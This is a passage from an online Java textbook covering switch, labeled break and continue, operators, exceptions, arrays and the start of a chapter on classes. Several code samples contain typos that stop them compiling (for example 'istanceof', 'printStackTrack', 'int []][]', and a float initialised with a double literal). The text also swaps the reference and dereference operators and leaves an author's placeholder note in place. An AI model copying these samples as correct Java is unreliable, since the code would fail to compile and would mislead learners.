    [ case int expression
        statement;
    ...
    default :
        statement;  ]
}

No two of the case expressions can evaluate to the same value. As in C, an optional default case can be specified to catch unmatched conditions. Normally, the special statement break is used to terminate a branch of the switch:

switch ( retVal ) {
    case myClass.GOOD :
        // something good
        break;
    case myClass.BAD :
        // something bad
        break;
    default :
        // neither one
        break;
}

The Java break statement and its friend continue perform unconditional jumps out of a loop or conditional statement. They differ from the corresponding statements in C by taking an optional label as an argument. Enclosing statements, like code blocks and iterators, can be labeled with identifier statements:

one:
    while ( condition ) {
        ...
        two:
            while ( condition ) {
                ...
                // break or continue point
            }
        // after two
    }
// after one

In the above example, a break or continue without argument at the indicated position would have the normal, C-style effect. A break would cause processing to resume at the point labeled "after two"; a continue would immediately cause the two loop to return to its condition test.

The statement break two at the indicated point would have the same effect as an ordinary break, but break one would break two levels and resume at the point labeled "after one." Similarly, continue two would serve as a normal continue, but continue one would return to the test of the one loop. Multilevel break and continue statements remove much of the need for the evil goto statement in C and C++.

There are a few Java statements we aren't going to discuss right now. The try, catch, and finally statements are used in exception handling, as we'll discuss later in this chapter. The synchronized statement in Java is used to coordinate access to statements among multiple threads of execution; see Chapter 6, Threads for a discussion of thread synchronization.

On a final note, I should mention that the Java compiler flags "unreachable" statements as compile-time errors. Of course, when I say unreachable, I mean those statements the compiler determines won't be called by a static look at compile-time.

Expressions

As I said earlier, expressions are statements that produce a result when they are evaluated. The value of an expression can be a numeric type, as in an arithmetic expression; a reference type, as in an object allocation; or the special type void, which results from a call to a method that doesn't return a value. In the last case, the expression is evaluated only for its side effects (i.e., the work it does aside from producing a value). The type of an expression is known at compile-time. The value produced at run-time is either of this type or, in the case of a reference type, a compatible (assignable) type.

Operators

Java supports almost all standard C operators. These operators also have the same precedence in Java as they do in C, as you can see in Table 4.3.

Table 4.3: Java Operators
Precedence | Operator | Operand Type | Description
1 | ++, -- | Arithmetic | Increment and decrement
1 | +, - | Arithmetic | Unary plus and minus
1 | ~ | Integral | Bitwise complement
1 | ! | Boolean | Logical complement
1 | ( type ) | Any | Cast
2 | *, /, % | Arithmetic | Multiplication, division, remainder
3 | +, - | Arithmetic | Addition and subtraction
3 | + | String | String concatenation
4 | << | Integral | Left shift
4 | >> | Integral | Right shift with sign extension
4 | >>> | Integral | Right shift with no extension
5 | <, <=, >, >= | Arithmetic | Numeric comparison
5 | instanceof | Object | Type comparison
6 | ==, != | Primitive | Equality and inequality of value
6 | ==, != | Object | Equality and inequality of reference
7 | & | Integral | Bitwise AND
7 | & | Boolean | Boolean AND
8 | ^ | Integral | Bitwise XOR
8 | ^ | Boolean | Boolean XOR
9 | | | Integral | Bitwise OR
9 | | | Boolean | Boolean OR
10 | && | Boolean | Conditional AND
11 | || | Boolean | Conditional OR
12 | ?: | NA | Conditional ternary operator
13 | = | Any | Assignment
13 | *=, /=, %=, +=, -=, <<=, >>=, >>>=, &=, ^=, |= | Any | Assignment with operation

There are a few operators missing from the standard C collection. For example, Java doesn't support the comma operator for combining expressions, although the for statement allows you to use it in the initialization and increment sections. Java doesn't allow direct pointer manipulation, so it does not support the reference (*), dereference (&), and sizeof operators.

Java also adds some new operators. As we've seen, the + operator can be used with String values to perform string concatenation. Because all integral types in Java are signed values, the >> operator performs a right-shift operation with sign extension. The >>> operator treats the operand as an unsigned number and performs a right shift with no extension. The new operator is used to create objects; we will discuss it in detail shortly.

Assignment

While variable initialization (i.e., declaration and assignment together) is considered a statement, variable assignment alone is an expression:

int i, j;
i = 5;                           // expression

Normally, we rely on assignment for its side effects alone, but, as in C, an assignment can be used as a value in another part of an expression:

j = ( i = 5 );

Again, relying on order of evaluation extensively (in this case, using compound assignments in complex expressions) can make code very obscure and hard to read. Do so at your own peril.

null

The expression null can be assigned to any reference type. It has the meaning of "no reference." A null reference can't be used to select a method or variable and attempting to do so generates a NullPointerException at run-time.

Variable access

Using the dot (.) to access a variable in an object is a type of expression that results in the value of the variable accessed. This can be either a numeric type or a reference type:

int i;
String s;
i = myObject.length;
s = myObject.name;

A reference type expression can be used in further evaluations, by selecting variables or calling methods within it:

int len = myObject.name.length();
int initialLen = myObject.name.substring(5, 10).length();

Here we have found the length of our name variable by invoking the length() method of the String object. In the second case, we took an intermediate step and asked for a substring of the name string. The substring method of the String class also returns a String reference, for which we ask the length. (Chapter 7, Basic Utility Classes describes all of these String methods in detail.)

Method invocation

A method invocation is basically a function call, or in other words, an expression that results in a value, the type of which is the return type of the method. Thus far, we have seen methods invoked via their name in simple cases:

System.out.println( "Hello World..." );
int myLength = myString.length();

When we talk about Java's object-oriented features in Chapter 5, Objects in Java, we'll look at some rules that govern the selection of methods.

Like the result of any expression, the result of a method invocation can be used in further evaluations, as we saw above. Whether to allocate intermediate variables and make it absolutely clear what your code is doing or to opt for brevity where it's appropriate is a matter of coding style.

Object creation

Objects in Java are allocated with the new operator:

Object o = new Object();

The argument to new is a constructor that specifies the type of object and any required parameters to create it. The return type of the expression is a reference type for the created object.

We'll look at object creation in detail in Chapter 5, Objects in Java. For now, I just want to point out that object creation is a type of expression, and that the resulting object reference can be used in general expressions. In fact, because the binding of new is "tighter" than that of the dot-field selector, you can easily allocate a new object and invoke a method in it for the resulting expression:

int hours = new Date().getHours();

The Date class is a utility class that represents the current time. Here we create a new instance of Date with the new operator and call its getHours() method to retrieve the current hour as an integer value. The Date object reference lives long enough to service the method call and is then cut loose and garbage collected at some point in the future.

Calling methods in object references in this way is, again, a matter of style. It would certainly be clearer to allocate an intermediate variable of type Date to hold the new object and then call its getHours() method. However, some of us still find the need to be terse in our code.

instanceof

The instanceof operator can be used to determine the type of an object at run-time. instanceof returns a boolean value that indicates whether an object is an instance of a particular class or a subclass of that class:

Boolean b;
String str = "foo";
b = ( str instanceof String );     // true
b = ( str instanceof Object );     // also true
b = ( str instanceof Date );       // false--not a Date or subclass

instanceof also correctly reports if an object is of the type of an arry or a specified interface.

        if ( foo instanceof byte[] )
            ...

(See Chapter 5, Objects in Java for a full discussion of interfaces.)

It is also important to note that the value null is not considered an instance of any object. So the following test will return false, no matter what the declared type of the variable:

String s = null;
if ( s istanceof String )
    // won't happen

Previous | Home | Next
Types | Book Index | Exceptions
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 4] 4.5 Exceptions

Previous Chapter 4
The Java Language 		Next

4.5 Exceptions

Do, or do not... There is no try.

--Yoda (The Empire Strikes Back)

Java's roots are in embedded systems--software that runs inside specialized devices like hand-held computers, cellular phones, and fancy toasters. In those kinds of applications, it's especially important that software errors be handled properly. Most users would agree that it's unacceptable for their phone to simply crash or for their toast (and perhaps their house) to burn because their software failed. Given that we can't eliminate the possibility of software errors, a step in the right direction is to at least try to recognize and deal with the application-level errors that we can anticipate in a methodical and systematic way.

Dealing with errors in a language like C is the responsibility of the programmer. There is no help from the language itself in identifying error types, and there are no tools for dealing with them easily. In C and C++, a routine generally indicates a failure by returning an "unreasonable" value (e.g., the idiomatic -1 or null). As the programmer, you must know what constitutes a bad result, and what it means. It's often awkward to work around the limitations of passing error values in the normal path of data flow.[3] An even worse problem is that certain types of errors can legitimately occur almost anywhere, and it's prohibitive and unreasonable to explicitly test for them at every point in the software.

[3] The somewhat obscure setjmp() and longjmp() statements in C can save a point in the execution of code and later return to it unconditionally from a deeply buried location. In a limited sense, this is the functionality of exceptions in Java.

Java offers an elegant solution to these problems with exception handling. (Java exception handling is similar to, but not quite the same as, exception handling in C++.) An exception indicates an unusual condition or an error condition. Program control becomes unconditionally transferred or thrown to a specially designated section of code where it's caught and handled. In this way, error handling is somewhat orthogonal to the normal flow of the program. We don't have to have special return values for all our methods; errors are handled by a separate mechanism. Control can be passed long distance from a deeply nested routine and handled in a single location when that is desirable, or an error can be handled immediately at its source. There are still a few methods that return -1 as a special value, but these are limited to situations in which there isn't really an error.[4]

[4] For example, the getHeight() method of the Image class returns -1 if the height isn't known yet. No error has occurred; the height will be available in the future. In this situation, throwing an exception would be inappropriate.

A Java method is required to specify the exceptions it can throw (i.e., the ones that it doesn't catch itself); this means that the compiler can make sure we handle them. In this way, the information about what errors a method can produce is promoted to the same level of importance as its argument and return types. You may still decide to punt and ignore obvious errors, but in Java you must do so explicitly.

Exceptions and Error Classes

Exceptions are represented by instances of the class java.lang.Exception and its subclasses. Subclasses of Exception can hold specialized information (and possibly behavior) for different kinds of exceptional conditions. However, more often they are simply "logical" subclasses that exist only to serve as a new exception type (more on that later). Figure 4.1 shows the subclasses of Exception; these classes are defined in various packages in the Java API, as indicated in the diagram.

Figure 4.1: Java exception classes

[Graphic: Figure 4-1]

An Exception object is created by the code at the point where the error condition arises. It can hold whatever information is necessary to describe the exceptional condition, including a full stack trace for debugging. The exception object is passed, along with the flow of control, to the handling block of code. This is where the terms "throw" and "catch" come from: the Exception object is thrown from one point in the code and caught by the other, where execution resumes.

The Java API also defines the java.lang.Error class for eggregious or unrecoverable errors. The subclasses of Error are shown in Figure 4.2. You needn't worry about these errors (i.e., you do not have to catch them); they normally indicate linkage problems or virtual machine errors. An error of this kind usually causes the Java interpreter to display a message and exit.

Figure 4.2: Java error classes

[Graphic: Figure 4-2]

Exception Handling

The try/catch guarding statements wrap a block of code and catch designated types of exceptions that occur within it:

try {
    readFromFile("foo");
    ...
}
catch ( Exception e ) {
    // Handle error
    System.out.println( "Exception while reading file: " + e );
    ...
}

In the above example, exceptions that occur within the body of the try statement are directed to the catch clause for possible handling. The catch clause acts like a method; it specifies an argument of the type of exception it wants to handle, and, if it's invoked, the Exception object is passed into its body as an argument. Here we receive the object in the variable e and print it along with a message.

A try statement can have multiple catch clauses that specify different specific types (subclasses) of Exception:

try {
    readFromFile("foo");
    ...
}
catch ( FileNotFoundException e ) {
    // Handle file not found
    ...
}
catch ( IOException e ) {
    // Handle read error
    ...
}
catch ( Exception e ) {
    // Handle all other errors
    ...
}

The catch clauses are evaluated in order, and the first possible (assignable) match is taken. At most one catch clause is executed, which means that the exceptions should be listed from most specific to least. In the above example, we'll assume that the hypothetical readFromFile() can throw two different kinds of exceptions: one that indicates the file is not found; the other indicates a more general read error. Any subclass of Exception is assignable to the parent type Exception, so the third catch clause acts like the default clause in a switch statement and handles any remaining possibilities.

It should be obvious, but one beauty of the try/catch statement is that any statement in the try block can assume that all previous statements in the block succeeded. A problem won't arise suddenly because a programmer forgot to check the return value from some method. If an earlier statement fails, execution jumps immediately to the catch clause; later statements are never executed.

Bubbling Up

What if we hadn't caught the exception? Where would it have gone? Well, if there is no enclosing try/catch statement, the exception pops to the top of the method in which it appeared and is, in turn, thrown from that method. In this way, the exception bubbles up until it's caught, or until it pops out of the top of the program, terminating it with a run-time error message. There's a bit more to it than that because, in this case, the compiler would have reminded us to deal with it, but we'll get back to that in a moment.

Let's look at another example. In Figure 4.3, the method getContent() invokes the method openConnection() from within a try/catch statement. openConnection(), in turn, invokes the method sendRequest(), which calls the method write() to send some data.

Figure 4.3: Exception propagation

[Graphic: Figure 4-3]

In this figure, the second call to write() throws an IOException. Since sendRequest() doesn't contain a try/catch statement to handle the exception, it's thrown again, from the point that it was called in the method openConnection(). Since openConnection() doesn't catch the exception either, it's thrown once more. Finally it's caught by the try statement in getContent() and handled by its catch clause.

Since an exception can bubble up quite a distance before it is caught and handled, we may need a way to determine exactly where it was thrown. All exceptions can dump a stack trace that lists their method of origin and all of the nested method calls that it took to arrive there, using the printStackTrace() method.

try {
    // complex task
} catch ( Exception e ) {
    // dump information about exactly where the exception ocurred
    e.printStackTrack( System.err );
    ...
}

The throws Clause and checked Exceptions

I mentioned earlier that Java makes us be explicit about our error handling. But Java is programmer-friendly, and it's not possible to require that every conceivable type of error be handled in every situation. So, Java exceptions are divided into two categories: checked exceptions and unchecked exceptions. Most application level exceptions are checked, which means that any method that throws one, either by generating it itself (as we'll discuss below) or by passively ignoring one that occurs within it, must declare that it can throw that type of exception in a special throws clause in its method declaration. We haven't yet talked in detail about declaring methods; we'll cover that in Chapter 5, Objects in Java. For now all you need know is that methods have to declare the checked exceptions they can throw or allow to be thrown.

Again in Figure 4.3, notice that the methods openConnection() and sendRequest() both specify that they can throw an IOException. If we had to throw multiple types of exceptions we could declare them separated with commas:

void readFile( String s ) throws IOException, InterruptedException {
    ...
}

The throws clause tells the compiler that a method is a possible source of that type of checked exception and that anyone calling that method must be prepared to deal with it. The caller may use a try/catch block to catch it, or it may, itself, declare that it can throw the exception.

Exceptions that are subclasses of the java.lang.RuntimeException class are unchecked. See Figure 4.1 for the subclasses of RuntimeException. It's not a compile-time error to ignore the possibility of these exceptions being thrown; additionally, methods don't have to declare they can throw them. In all other respects, run-time exceptions behave the same as other exceptions. We are perfectly free to catch them if we wish; we simply aren't required to.

Checked exceptions

Exceptions a reasonable application should try to handle gracefully.

Unchecked exception (Runtime exceptions)

Exceptions from which we would not normally expect our software to try to recover.

The category of checked exceptions includes application-level problems like missing files and unavailable hosts. As good programmers (and upstanding citizens), we should design software to recover gracefully from these kinds of conditions. The category of unchecked exceptions includes problems such as "out of memory" and "array index out of bounds." While these may indicate application-level programming errors, they can occur almost anywhere and aren't generally easy to recover from. Fortunately, because there are unchecked exceptions, you don't have to wrap every one of your array-index operations in a try/catch statement.

Throwing Exceptions

We can throw our own exceptions: either instances of Exception or one of its predefined subclasses, or our own specialized subclasses. All we have to do is create an instance of the Exception and throw it with the throw statement:

throw new Exception();

Execution stops and is transferred to the nearest enclosing try/catch statement. (Note that there is little point in keeping a reference to the Exception object we've created here.) An alternative constructor of the Exception class lets us specify a string with an error message:

throw new Exception("Something really bad happened");

By convention, all types of Exception have a String constructor like this. Note that the String message above is somewhat facetious and vague. Normally you won't be throwing a plain old Exception, but a more specific subclass. For example:

public void checkRead( String s ) {
    if ( new File(s).isAbsolute() || (s.indexOf("..") != -1) )
        throw new SecurityException(
           x"Access to file : "+ s +" denied.");
}

In the above, we partially implement a method to check for an illegal path. If we find one, we throw a SecurityException, with some information about the transgression.

Of course, we could include whatever other information is useful in our own specialized subclasses of Exception (or SecurityException). Often though, just having a new type of exception is good enough, because it's sufficient to help direct the flow of control. For example, if we are building a parser, we might want to make our own kind of exception to indicate a particular kind of failure.

class ParseException extends Exception {
    ParseException() {
        super(); }
    ParseException( String desc ) {
        super( desc ) };
}

See Chapter 5, Objects in Java for a full description of classes and class constructors. The body of our exception class here simply allows a ParseException to be created in the conventional ways that we have created exceptions above. Now that we have our new exception type, we we might guard for it in the following kind of situation:

// Somewhere in our code
...
try {
    parseStream( input );
} catch ( ParseException pe ) {
    // Bad input...
} catch ( IOException ioe ) {
    // Low level communications problem
}

As you can see, although our new exception doesn't currently hold any specialized information about the problem (it certainly could), it does let us distinguish a parse error from an arbitrary communications error in the same chunk of code. You might call this kind of specialization of an exception to be making a "logical" exception.

Re-throwing exceptions

Sometimes you'll want to take some action based on an exception and then turn around and throw a new exception in its place. For example, suppose that we want to handle an IOException by freeing up some resources before allowing the failure to pass on to the rest of the application. You can do this in the obvious way, by simply catching the exception and then throwing it again or throwing a new one.

  *** I was going to say something about fillInStackTrack() here ***

Try Creep

The try statement imposes a condition on the statements they guard. It says that if an exception occurs within it, the remaining statements will be abandoned. This has consequences for local variable initialization. If the compiler can't determine whether a local variable assignment we placed inside a try/catch block will happen, it won't let us use the variable:

void myMethod() {
    int foo;

    try {
        foo = getResults();
    }
    catch ( Exception e ) {
        ...
    }

    int bar = foo;  // Compile time error--foo may not
                    // have been initialized

In the above example, we can't use foo in the indicated place because there's a chance it was never assigned a value. One obvious option is to move the assignment inside the try statement:

try {
    foo = getResults();
    int bar = foo;  // Okay because we only get here
                    // if previous assignment succeeds
}
catch ( Exception e ) {
    ...
}

Sometimes this works just fine. However, now we have the same problem if we want to use bar later in myMethod(). If we're not careful, we might end up pulling everything into the try statement. The situation changes if we transfer control out of the method in the catch clause:

try {
    foo = getResults();
}
catch ( Exception e ) {
    ...
    return;
}

int bar = foo;  // Okay because we only get here
                // if previous assignment succeeds

Your code will dictate its own needs; you should just be aware of the options.

The finally Clause

What if we have some clean up to do before we exit our method from one of the catch clauses? To avoid duplicating the code in each catch branch and to make the cleanup more explicit, Java supplies the finally clause. A finally clause can be added after a try and any associated catch clauses. Any statements in the body of the finally clause are guaranteed to be executed, no matter why control leaves the try body:

try {
    // Do something here
}
catch ( FileNotFoundException e ) {
    ...
}
catch ( IOException e ) {
    ...
}
catch ( Exception e ) {
    ...
}
finally {
    // Cleanup here
}

In the above example the statements at the cleanup point will be executed eventually, no matter how control leaves the try. If control transfers to one of the catch clauses, the statements in finally are executed after the catch completes. If none of the catch clauses handles the exception, the finally statements are executed before the exception propagates to the next level.

If the statements in the try execute cleanly, or even if we perform a return, break, or continue, the statements in the finally clause are executed. To perform cleanup operations, we can even use try and finally without any catch clauses:

try {
    // Do something here
    return;
}
finally {
    System.out.println("Whoo-hoo!");
}

Exceptions that occur in a catch or finally clause are handled normally; the search for an enclosing try/catch begins outside the offending try statement.

Previous | Home | Next
Statements and Expressions | Book Index | Arrays
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 4] 4.6 Arrays

Previous Chapter 4
The Java Language 		Next

4.6 Arrays

An array is a special type of object that can hold an ordered collection of elements. The type of the elements of the array is called the base type of the array; the number of elements it holds is a fixed attribute called its length. (For a collection with a variable length, see the discussion of Vector objects in Chapter 7, Basic Utility Classes.) Java supports arrays of all numeric and reference types.

The basic syntax of arrays looks much like that of C or C++. We create an array of a specified length and access the elements with the special index operator, []. Unlike other languages, however, arrays in Java are true, first-class objects, which means they are real objects within the Java language. An array is an instance of a special Java array class and has a corresponding type in the type system. This means that to use an array, as with any other object, we first declare a variable of the appropriate type and then use the new operator to create an instance of it.

Array objects differ from other objects in Java in three respects:

  • Java implicitly creates a special array class for us whenever we declare an array type variable. It's not strictly necessary to know about this process in order to use arrays, but it helps in understanding their structure and their relationship to other objects in Java.

  • Java lets us use the special [] operator to access array elements, so that arrays look as we expect. We could implement our own classes that act like arrays, but because Java doesn't have user-defined operator overloading, we would have to settle for having methods like get() and put() instead of using the special [] notation.

  • Java provides a corresponding special form of the new operator that lets us construct an instance of an array and specify its length with the [] notation.

Array Types

An array type variable is denoted by a base type followed by empty brackets []. Alternatively, Java accepts a C-style declaration, with the brackets placed after the array name. The following are equivalent:

int [] arrayOfInts;
int arrayOfInts [];

In each case, arrayOfInts is declared as an array of integers. The size of the array is not yet an issue, because we are declaring only the array type variable. We have not yet created an actual instance of the array class, with its associated storage. It's not even possible to specify the length of an array as part of its type.

An array of objects can be created in the same way:

String [] someStrings;
Button someButtons [];

Array Creation and Initialization

Having declared an array type variable, we can now use the new operator to create an instance of the array. After the new operator, we specify the base type of the array and its length, with a bracketed integer expression:

arrayOfInts = new int [42];
someStrings = new String [ number + 2 ];

We can, of course, combine the steps of declaring and allocating the array:

double [] someNumbers = new double [20];
Component widgets [] = new Component [12];

As in C, array indices start with zero. Thus, the first element of someNumbers [] is 0 and the last element is 19. After creation, the array elements are initialized to the default values for their type. For numeric types, this means the elements are initially zero:

int [] grades = new int [30];
grades[0] = 99;
grades[1] = 72;
// grades[2] == 0

The elements of an array of objects are references to the objects, not actual instances of the objects. The default value of each element is therefore null, until we assign instances of appropriate objects:

String names [] = new String [4];
names [0] = new String();
names [1] = "Boofa";
names [2] = someObject.toString();
// names[3] == null

This is an important distinction that can cause confusion. In many other languages, the act of creating an array is the same as allocating storage for its elements. In Java, an array of objects actually contains only reference variables and those variables, have the value null until they are assigned to real objects.[5] Figure 4.4 illustrates the names array of the previous example:

[5] The analog in C or C++ would be an array of pointers to objects. However, pointers in C or C++ are themselves two- or four-byte values. Allocating an array of pointers is, in actuality, allocating the storage for some number of those pointer objects. An array of references is conceptually similar, although references are not themselves objects. We can't manipulate references or parts of references other than by assignment, and their storage requirements (or lack thereof) are not part of the high-level language specification.

Figure 4.4: The names array

[Graphic: Figure 4-4]

names is a variable of type String[] (i.e., a string array). The String[] object can be thought of as containing four String type variables. We have assigned String objects to the first three array elements. The fourth has the default value null.

Java supports the C-style curly braces {} construct for creating an array and initializing its elements when it is declared:

int [] primes = { 1, 2, 3, 5, 7, 7+4 };    // primes[2] == 3

An array object of the proper type and length is implicitly created and the values of the comma-separated list of expressions are assigned to its elements.

We can use the {} syntax with an array of objects. In this case, each of the expressions must evaluate to an object that can be assigned to a variable of the base type of the array, or the value null. Here are some examples:

String [] verbs = { "run", "jump", someWord.toString() };
Button [] controls = { stopButton, new Button("Forwards"),
    new Button("Backwards") };
// all types are subtypes of Object
Object [] objects = { stopButton, "A word", null };

You should create and initialize arrays in whatever manner is appropriate for your application. The following are equivalent:

Button [] threeButtons = new Button [3];
Button [] threeButtons = { null, null, null };

Using Arrays

The size of an array object is available in the public variable length:

char [] alphabet = new char [26];
int alphaLen = alphabet.length;             // alphaLen == 26

String [] musketeers = { "one", "two", "three" };
int num = musketeers.length;                // num == 3

length is the only accessible field of an array; it is a variable, not a method.

Array access in Java is just like array access in C; you access an element by putting an integer-valued expression between brackets after the name of the array. The following example creates an array of Button objects called keyPad and then fills the array with Button objects:

Button [] keyPad = new Button [ 10 ];
for ( int i=0; i < keyPad.length; i++ )      keyPad[ i ] = new Button( Integer.toString( i ) );

Attempting to access an element that is outside the range of the array generates an ArrayIndexOutOfBoundsException. This is a type of RuntimeException, so you can either catch it and handle it yourself, or ignore it, as we already discussed:

String [] states = new String [50];

try {
    states[0] = "California";
    states[1] = "Oregon";
    ...
    states[50] = "McDonald's Land";  // Error--array out of bounds
}
catch ( ArrayIndexOutOfBoundsException err ) {
    System.out.println( "Handled error: " + err.getMessage() );
}

It's a common task to copy a range of elements from one array into another. Java supplies the arraycopy() method for this purpose; it's a utility method of the System class:

System.arraycopy( source, sourceStart, destination,
                  destStart, length );

The following example doubles the size of the names array from an earlier example:

String [] tmpVar = new String [ 2 * names.length ];
System.arraycopy( names, 0, tmpVar, 0, names.length );
names = tmpVar;

A new array, twice the size of names, is allocated and assigned to a temporary variable tmpVar. arraycopy() is used to copy the elements of names to the new array. Finally, the new array is assigned to names. If there are no remaining references to the old array object after names has been copied, it will be garbage collected on the next pass.

Anonymous Arrays

You often want to create "throw-away" arrays: arrays that are only used in one place, and never referenced anywhere else. Such arrays don't need to have a name, because you never need to refer to them again in that context. For example, you may want to create a collection of objects to pass as an argument to some method. It's easy enough to create a normal, named array--but if you don't actually work with the array (if you use the array only as a holder for some collection), you shouldn't have to. Java makes it easy to create "anonymous" (i.e., unnamed) arrays.

Let's say you need to call a method named setPets(), which takes an array of Animal objects as arguments. Cat and Dog are subclasses of Animal. Here's how to call setPets() using an anonymous array:

Dog pokey = new Dog ("gray");
Cat squiggles = new Cat ("black");
Cat jasmine = new Cat ("orange");
setPets ( new Animal [] { pokey, squiggles, jasmine });

The syntax looks just like the initialization of an array in a variable declaration. We implicitly define the size of the array and fill in its elements using the curly brace notation. However, since this is not a variable declaration we have to explicitly use the new operator to create the array object.

You can use anonymous arrays to simulate variable length argument lists (often called VARARGS), a feature of many programming languages that Java doesn't provide. The advantage of anonymous arrays over variable length argument lists is that it allows stricter type checking; the compiler always knows exactly what arguments are expected, and therefore can verify that method calls are correct.

Multidimensional Arrays

Java supports multidimensional arrays in the form of arrays of array type objects. You create a multidimensional array with C-like syntax, using multiple bracket pairs, one for each dimension. You also use this syntax to access elements at various positions within the array. Here's an example of a multidimensional array that represents a chess board:

ChessPiece [][] chessBoard;
chessBoard = new ChessPiece [8][8];
chessBoard[0][0] = new ChessPiece( "Rook" );
chessBoard[1][0] = new ChessPiece( "Pawn" );
...

Here chessBoard is declared as a variable of type ChessPiece[][] (i.e., an array of ChessPiece arrays). This declaration implicitly creates the type ChessPiece[] as well. The example illustrates the special form of the new operator used to create a multidimensional array. It creates an array of ChessPiece[] objects and then, in turn, creates each array of ChessPiece objects. We then index chessBoard to specify values for particular ChessPiece elements. (We'll neglect the color of the pieces here.)

Of course, you can create arrays of with more than two dimensions. Here's a slightly impractical example:

Color [][][] rgbCube = new Color [256][256][256];
rgbCube[0][0][0] = Color.black;
rgbCube[255][255][0] = Color.yellow;
...

As in C, we can specify the initial index of a multidimensional array to get an array type object with fewer dimensions. In our example, the variable chessBoard is of type ChessPiece[][]. The expression chessBoard[0] is valid and refers to the first element of chessBoard, which is of type ChessPiece[]. For example, we can create a row for our chess board:

ChessPiece [] startRow =  {
    new ChessPiece("Rook"), new ChessPiece("Knight"),
    new ChessPiece("Bishop"), new ChessPiece("King"),
    new ChessPiece("Queen"), new ChessPiece("Bishop"),
    new ChessPiece("Knight"), new ChessPiece("Rook")
};

chessBoard[0] = startRow;

We don't necessarily have to specify the dimension sizes of a multidimensional array with a single new operation. The syntax of the new operator lets us leave the sizes of some dimensions unspecified. The size of at least the first dimension (the most significant dimension of the array) has to be specified, but the sizes of any number of the less significant array dimensions may be left undefined. We can assign appropriate array type values later.

We can create a checkerboard of boolean values (which is not quite sufficient for a real game of checkers) using this technique:

boolean [][] checkerBoard;
checkerBoard = new boolean [8][];

Here, checkerBoard is declared and created, but its elements, the eight boolean[] objects of the next level, are left empty. Thus, for example, checkerBoard[0] is null until we explicitly create an array and assign it, as follows:

checkerBoard[0] = new boolean [8];
checkerBoard[1] = new boolean [8];
...
checkerBoard[7] = new boolean [8];

The code of the previous two examples is equivalent to:

boolean [][] checkerBoard = new boolean [8][8];

One reason we might want to leave dimensions of an array unspecified is so that we can store arrays given to us by another method.

Note that since the length of the array is not part of its type, the arrays in the checkerboard do not necessarily have to be of the same length. Here's a defective (but perfectly legal) checkerboard:

checkerBoard[2] = new boolean [3];
checkerBoard[3] = new boolean [10];

Since Java implements multidimensional arrays as arrays of arrays, multidimensional arrays do not have to be rectangular. For example, here's how you could create and initialize a triangular array:

int []][] triangle = new int [5][];
for (int i = 0; i < triangle.length; i++) {
    triangle[i] = new int [i + 1];
    for (int j = 0; j < i + 1; j++)
        triangle[i][j] = i + j;    }

Inside Arrays

I said earlier that arrays are instances of special array classes in the Java language. If arrays have classes, where do they fit into the class hierarchy and how are they related? These are good questions; however, we need to talk more about the object-oriented aspects of Java before I can answer them. For now, take it on faith that arrays fit into the class hierarchy; details are in Chapter 5, Objects in Java.

Previous | Home | Next
Exceptions | Book Index | Objects in Java
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 5] Objects in Java

Previous Chapter 5 Next

5. Objects in Java

Contents:
Classes
Methods
Object Creation
Object Destruction
Subclassing and Inheritance
Packages and Compilation Units
Variable and Method Visibility
Interfaces
Inner Classes
The Object and Class Classes
Reflection

In this chapter, we'll get to the heart of Java and explore the object-oriented aspects of the language. Object-oriented design is the art of decomposing an application into some number of objects--self-contained application components that work together. The goal is to break the problem down into a number of smaller problems that are simpler and easier to understand. Ideally, the components can be implemented directly as objects in the Java language. And if things are truly ideal, the components correspond to well-known objects that already exist, so they don't have to be created at all.

An object design methodology is a system or a set of rules created by someone to help you identify objects in your application domain and pick the real ones from the noise. In other words, such a methodology helps you factor your application into a good set of reusable objects. The problem is that though it wants to be a science, good object-oriented design is still pretty much an art form. While you can learn from the various off-the-shelf design methodologies, none of them will help you in all situations. The truth is that experience pays.

I won't try to push you into a particular methodology here; there are shelves full of books to do that.[1] Instead, I'll provide a few hints to get you started. Here are some general design guidelines, which should be taken with a liberal amount of salt and common sense:

[1] Once you have some experience with basic object-oriented concepts, you might want to take a look at Design Patterns: Elements of Reusable Object Oriented Software by Gamma/Helm/Johnson/Vlissides (Addison-Wesley). This book catalogs useful object-oriented designs that have been refined over the years by experience. Many appear in the design of the Java APIs.

  • Think of an object in terms of its interface, not its implementation. It's perfectly fine for an object's internals to be unfathomably complex, as long as its "public face" is easy to understand.

  • Hide and abstract as much of your implementation as possible. Avoid public variables in your objects, with the possible exception of constants. Instead define "accessor" methods to set and return values (even if they are simple types). Later, when you need to, you'll be able to modify and extend the behavior of your objects without breaking other classes that rely on them.

  • Specialize objects only when you have to. When you use an object in its existing form, as a piece of a new object, you are composing objects. When you change or refine the behavior of an object, you are using inheritance. You should try to reuse objects by composition rather than inheritance whenever possible because when you compose objects you are taking full advantage of existing tools. Inheritance involves breaking down the barrier of an object and should be done only when there's a real advantage. Ask yourself if you really need to inherit the whole public interface of an object (do you want to be a "kind" of that object), or if you can just delegate certain jobs to the object and use it by composition.

  • Minimize relationships between objects and try to organize related objects in packages. To enhance your code's reusability, write it as if there is a tomorrow. Find what one object needs to know about another to get its job done and try to minimize the coupling between them.

5.1 Classes

Classes are the building blocks of a Java application. A class can contain methods, variables, initialization code, and, as we'll discuss later on, even other classes. It serves as a blueprint for making class instances, which are run-time objects that implement the class structure. You declare a class with the class keyword. Methods and variables of the class appear inside the braces of the class declaration:

class Pendulum {
    float mass;
    float length = 1.0;
    int cycles;

    float position ( float time ) {
        ...
    }
    ...
}

The above class, Pendulum, contains three variables: mass, length, and cycles. It also defines a method called position() that takes a float value as an argument and returns a float value. Variables and method declarations can appear in any order, but variable initializers can't use forward references to uninitialized variables.

Once we've defined the Pendulum class, we can create a Pendulum object (an instance of that class) as follows:

Pendulum p;
p = new Pendulum();

Recall that our declaration of the variable p does not create a Pendulum object; it simply creates a variable that refers to an object of type Pendulum. We still have to create the object dynamically, using the new keyword. Now that we've created a Pendulum object, we can access its variables and methods, as we've already seen many times:

p.mass = 5.0;
float pos = p.position( 1.0 );

Variables defined in a class are called instance variables. Every object has its own set of instance variables; the values of these variables in one object can differ from the values in another object, as shown in Figure 5.1. If you don't initialize an instance variable when you declare it, it's given a default value appropriate for its type.

Figure 5.1: Instances of the Pendulum class

[Graphic: Figure 5-1]

In Figure 5.1, we have a hypothetical TextBook application that uses two instances of Pendulum through the reference type variables bigPendulum and smallPendulum. Each of these Pendulum objects has its own copy of mass, length, and cycles.

